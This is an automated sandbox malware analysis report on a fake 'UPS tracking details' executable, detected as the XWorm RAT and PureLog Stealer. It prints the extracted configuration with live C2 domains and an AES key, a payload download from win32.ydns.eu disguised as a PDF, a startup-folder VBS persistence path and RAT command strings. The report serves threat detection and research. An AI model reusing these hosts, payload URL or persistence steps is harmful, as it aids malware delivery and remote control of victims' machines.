Edit tour

Windows Analysis Report
UPS tracking details.exe

Overview

General Information

Sample name:	UPS tracking details.exe
Analysis ID:	1627808
MD5:	28badf3eb1aa6ce975fee86e6ec1dc14
SHA1:	8f19c7dbdde308e463b0412d73ea7083b1bcc816
SHA256:	7f1764a28d27f381701d9254166241607a37a02eb2fe80d682baf15236da5b7e
Tags:	exeUPSuser-abuse_ch
Infos:

Detection

PureLog Stealer, XWorm

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

C2 URLs / IPs found in malware configuration

Downloads files with wrong headers with respect to MIME Content-Type

Drops VBS files to the startup folder

Joe Sandbox ML detected suspicious sample

Sample uses string decryption to hide its real strings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

HTTP GET or POST without a user agent

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

UPS tracking details.exe (PID: 3164 cmdline: "C:\Users\user\Desktop\UPS tracking details.exe" MD5: 28BADF3EB1AA6CE975FEE86E6EC1DC14)

UPS tracking details.exe (PID: 6572 cmdline: "C:\Users\user\Desktop\UPS tracking details.exe" MD5: 28BADF3EB1AA6CE975FEE86E6EC1DC14)

WerFault.exe (PID: 1104 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 928 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["bin12.ydns.eu", "bin14.ydns.eu", "kingsbkup1.ydns.eu", "smfcs1.ydns.eu", "smfcs3.ydns.eu"], "Port": 4050, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
UPS tracking details.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Remaining.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6c8f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e41:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b01:$cnc4: POST / HTTP/1.1
00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1eb4b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1ebe8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1ecfd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1e9bd:$cnc4: POST / HTTP/1.1
00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000002.1699346885.00000000059F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc33cc:$s8: Win32_ComputerSystem 0x10f563:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10f600:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10f715:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10f3d5:$cnc4: POST / HTTP/1.1
00000001.00000002.1695473543.0000000003581000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: UPS tracking details.exe PID: 3164	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: UPS tracking details.exe PID: 3164	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: UPS tracking details.exe PID: 3164	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: UPS tracking details.exe PID: 6572	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.UPS tracking details.exe.3585570.4.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.UPS tracking details.exe.59f0000.12.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.UPS tracking details.exe.59f0000.12.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.UPS tracking details.exe.27756d4.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.2.UPS tracking details.exe.27756d4.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x3be5:$str01: $VB$Local_Port 0x3bd6:$str02: $VB$Local_Host 0x3ee6:$str03: get_Jpeg 0x388e:$str04: get_ServicePack 0x493b:$str05: Select * from AntivirusProduct 0x4b39:$str06: PCRestart 0x4b4d:$str07: shutdown.exe /f /r /t 0 0x4bff:$str08: StopReport 0x4bd5:$str09: StopDDos 0x4cd7:$str10: sendPlugin 0x4d57:$str11: OfflineKeylogger Not Enabled 0x4ebd:$str12: -ExecutionPolicy Bypass -File " 0x4fe6:$str13: Content-length: 5235
1.2.UPS tracking details.exe.27756d4.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x508f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x512c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5241:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x4f01:$cnc4: POST / HTTP/1.1
3.2.UPS tracking details.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.UPS tracking details.exe.400000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x59e5:$str01: $VB$Local_Port 0x59d6:$str02: $VB$Local_Host 0x5ce6:$str03: get_Jpeg 0x568e:$str04: get_ServicePack 0x673b:$str05: Select * from AntivirusProduct 0x6939:$str06: PCRestart 0x694d:$str07: shutdown.exe /f /r /t 0 0x69ff:$str08: StopReport 0x69d5:$str09: StopDDos 0x6ad7:$str10: sendPlugin 0x6b57:$str11: OfflineKeylogger Not Enabled 0x6cbd:$str12: -ExecutionPolicy Bypass -File " 0x6de6:$str13: Content-length: 5235
3.2.UPS tracking details.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6e8f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6f2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7041:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6d01:$cnc4: POST / HTTP/1.1
1.2.UPS tracking details.exe.3585570.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.UPS tracking details.exe.27756d4.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.2.UPS tracking details.exe.27756d4.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x59e5:$str01: $VB$Local_Port 0x59d6:$str02: $VB$Local_Host 0x5ce6:$str03: get_Jpeg 0x568e:$str04: get_ServicePack 0x673b:$str05: Select * from AntivirusProduct 0x6939:$str06: PCRestart 0x694d:$str07: shutdown.exe /f /r /t 0 0x69ff:$str08: StopReport 0x69d5:$str09: StopDDos 0x6ad7:$str10: sendPlugin 0x6b57:$str11: OfflineKeylogger Not Enabled 0x6cbd:$str12: -ExecutionPolicy Bypass -File " 0x6de6:$str13: Content-length: 5235
1.2.UPS tracking details.exe.27756d4.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6e8f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6f2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7041:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6d01:$cnc4: POST / HTTP/1.1
1.0.UPS tracking details.exe.e0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\UPS tracking details.exe, ProcessId: 3164, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["bin12.ydns.eu", "bin14.ydns.eu", "kingsbkup1.ydns.eu", "smfcs1.ydns.eu", "smfcs3.ydns.eu"], "Port": 4050, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Remaining.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: UPS tracking details.exe

ReversingLabs: Detection: 21%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bin12.ydns.eu,bin14.ydns.eu,kingsbkup1.ydns.eu,smfcs1.ydns.eu,smfcs3.ydns.eu
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 4050
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: <123456789>
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: <Xwormmm>
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: DOGGY XWORM
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String decryptor: USB.exe

Source: UPS tracking details.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: UPS tracking details.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdbwz source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb0 source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: UPS tracking details.exe, 00000001.00000002.1699691438.0000000005B30000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.0000000003764000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\UPS tracking details.PDBD{ww`P source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: UPS tracking details.exe, 00000001.00000002.1699691438.0000000005B30000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.0000000003764000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HPzo,C:\Windows\System.pdb source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: UPS tracking details.exe, 00000003.00000002.2790126652.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ##.pdb source: UPS tracking details.exe, 00000003.00000002.2789943672.0000000000CF7000.00000004.00000010.00020000.00000000.sdmp

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bin12.ydns.eu
Source: Malware configuration extractor	URLs: bin14.ydns.eu
Source: Malware configuration extractor	URLs: kingsbkup1.ydns.eu
Source: Malware configuration extractor	URLs: smfcs1.ydns.eu
Source: Malware configuration extractor	URLs: smfcs3.ydns.eu

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Date: Mon, 03 Mar 2025 07:45:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 03 Mar 2025 03:22:59 GMT ETag: "fa608-62f67ac5438e3" Accept-Ranges: bytes Content-Length: 1025544 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 3b 86 64 13 ed a7 7c 3b e7 bd 1a a8 88 96 ae 00 f9 bd 16 59 87 65 42 cc 9d 47 1b 8e 3b 73 17 53 17 8e 3f 45 8d 3e d6 53 9e dc a2 bb 73 89 ef 5b 08 17 e8 c4 d5 ad 73 20 24 c4 ea fe 57 44 68 b8 d2 10 76 ac e1 71 82 d2 ca c7 08 de 88 a3 3a d1 21 cf a1 b6 6d 9a 49 5e 5b 6c e2 11 03 78 c3 6b 1f 11 5f 92 ac bd 47 6d 5a db e6 2a a0 64 47 ec d9 f0 dd 34 f3 8b a8 96 11 20 9a 87 03 cf d1 86 80 e9 11 4d 3f 69 d1 7a 86 19 1d 89 7e 35 2f ef a4 18 43 e4 7f f7 7f 8e f9 7a ef d7 53 ad 43 d9 82 15 ea 27 c9 2d a7 8e 96 e4 e7 ef f7 04 55 5c 69 5d b4 5e 6d 8a 88 56 6a c6 69 3b 02 08 2a dd 58 23 4a 1b 17 47 24 b5 ad 62 38 22 64 ce 22 5f 9c 28 6a 25 db 9b c9 8a 78 22 d5 d0 c9 6d ec 0b b6 25 fb 15 f8 c1 2f cf 89 54 95 d5 81 4a 3b 6c af 2e 23 83 61 33 d2 60 75 5f 00 46 93 32 cc 1a 6b d3 6b f5 8b 00 ed ce 62 cb e7 93 91 cb 11 41 98 b1 bb 6e d4 17 58 c4 88 64 75 27 d9 c2 b8 84 4a f6 f2 67 75 74 df ca 45 59 68 2d c9 e9 f1 98 07 24 92 0a 70 cb c2 18 65 30 6c eb eb df 73 28 a0 3e 4b 36 e2 28 94 c5 eb 92 89 f7 57 d5 37 a5 9a 21 d5 8d 18 36 fa b0 b9 5c e4 fe 78 12 49 51 23 6d 42 b4 34 0a c1 5d 72 9f 98 61 45 f9 35 ce 5d c3 2c 44 1a 07 90 15 2f 4c 4a ac 60 47 60 28 44 1b 5e 6f bb fe 1d 2e c6 00 d6 bd 53 d6 4f 07 e5 b6 64 92 e4 7b 8a f4 11 00 22 aa 1e d4 09 8f 16 e3 5e 73 5a d3 f6 78 78 37 69 20 d1 e7 28 47 1c 05 08 55 de b9 bd e7 50 ea 66 54 e8 80 4f 04 7f d3 66 bb 82 9c 07 dc c7 ea 48 87 48 2e ba 63 e7 c4 c8 e0 6e 52 30 54 8f fe a9 f5 2b ab b9 d0 b5 43 17 7f eb ea 34 83 a2 86 c2 48 08 0c 01 49 cf 24 2b 8e be 37 21 97 42 96 75 30 8e 07 81 fe 99 8e d2 b7 d4 b3 07 88 c0 67 30 90 0f da bc 34 02 00 af d1 f4 35 83 e8 21 8a 7e 18 51 21 02 cc c7 2a a9 30 68 5b e3 f2 c4 72 50 74 7f 93 3d d4 fc 6a 32 7e e8 ac 72 17 86 47 d3 2b 6d a7 3f cc 36 71 00 ac eb 55 bb 5e 8c 5f cb 2f ca 57 15 46 a2 a9 22 2c 6d fc 19 2f 3e 8f b9 86 ae 99 41 e1 f3 a7 ae 3e 9f 96 ec c5 8a 32 2b 86 bc 7b 22 40 0b a9 40 72 4e c5 1d 42 b1 cb 1b 1c 41 9f e8 bb e8 21 26 b5 b2 53 54 0d 2b 1b 62 18 c3 e2 b9 66 18 af 47 be 8f df 9b 7a 63 35 fa a9 f9 72 3a 20 52 b6 8c 2e 1c 1f 98 04 0c eb db 40 8b 5f 1f e3 e3 81 db 41 4a 02 d8 ce 4d 4e 61 35 fb 98 5e 5b 44 ef fe 4f 6b a6 e9 e8 a6 b8 f8 9b 1e 98 29 a3 dd 82 74 0d 00 29 64 4e bb ed be 18 c1 b2 ab 26 a0 03 1f 57 1f 40 67 c7 02 b3 1d 89 57 d2 81 71 1f f8 36 0c c8 b1 2b d3 ab a5 6f 16 16 25 dd a4 43 dc 62 56 5c 74 c5 42 03 f0 3f 39 6c 4e 89 e3 18 8f d6 9b 3e f2 da 4d a9 b3 cd 7b 86 00 f6 09 82 7c 1b 6d 3a fa 4d d9 17 34 61 13 22 1b 95 06 2e c7 65 53 38 e0 57 be 0c 8a ce 75 c1 83 a1 46 ab 58 39 52 b5 6f a8 86 55 f0 9f ac 36 b5 f9 8d 76 2a 80 29 cb 00 54 a6 41 08 e1 3e 50 30 7b dd 33 12 ea 64 b5 52 b2 f9 c9 f0 7f 60 43 cb 77 5e 22 8f 30 c4 0f d2 62 cf 5c dc 29 e9 46 86

Source: global traffic

TCP traffic: 192.168.2.7:61378 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /never/lookinto/it/panel/uploads/Fjuzaw.pdf HTTP/1.1Host: win32.ydns.euConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /never/lookinto/it/panel/uploads/Fjuzaw.pdf HTTP/1.1Host: win32.ydns.euConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: win32.ydns.eu

Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win32.ydns.eu
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1681842901.0000000000874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://win32.ydns.eu/never/lookinto/it/panel/uploads/Fjuzaw.pdf
Source: UPS tracking details.exe, Remaining.exe.1.dr	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.cloudinary.com
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: Remaining.exe.1.dr	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_007D0C78	1_2_007D0C78
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_007D0C2F	1_2_007D0C2F
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_04A5D528	1_2_04A5D528
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_04A5CF98	1_2_04A5CF98
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_04A535E4	1_2_04A535E4
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_0620F8A8	1_2_0620F8A8
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_0620E7F8	1_2_0620E7F8
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_0620E2C0	1_2_0620E2C0
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_061F0027	1_2_061F0027
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 1_2_061F0040	1_2_061F0040
Source: C:\Users\user\Desktop\UPS tracking details.exe	Code function: 3_2_010E0B92	3_2_010E0B92

Source: C:\Users\user\Desktop\UPS tracking details.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 928

